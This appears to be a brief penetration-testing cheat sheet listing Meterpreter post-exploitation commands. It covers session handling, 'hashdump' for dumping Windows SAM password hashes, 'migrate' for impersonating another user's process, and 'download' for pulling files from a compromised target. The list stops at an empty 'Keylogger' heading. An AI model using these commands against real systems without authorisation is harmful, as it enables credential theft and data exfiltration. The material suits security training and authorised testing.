Meterpreter
Meterpreter
Useful commands:
?
View a list of available commands
help
Displays the help menu
background
Sends the current Meterpreter session into the background, and returns to the msf prompt
Use the
session -i
command to get back to the Meterpreter session
cat
,cd
,pwd
,ls
Similar to the Linux command line
hashdump
Dumps the contents of the SAM database
The Security Accounts Manager (SAM) is a database file in Windows that contains usernames and passwords
shell
Presents a standard shell on the target system
ps
List running processes
Eg. Find all processes running explorer.exe
meterpreter> ps | grep "explorer.exe"
migrate
Migrate to another process
Useful for impersonating another user session
download
To download a file from the remote machine
Note the use of the double-slashes in the Windows path
meterpreter> download c:\\users\test\file.txt
Keylogger
Last updated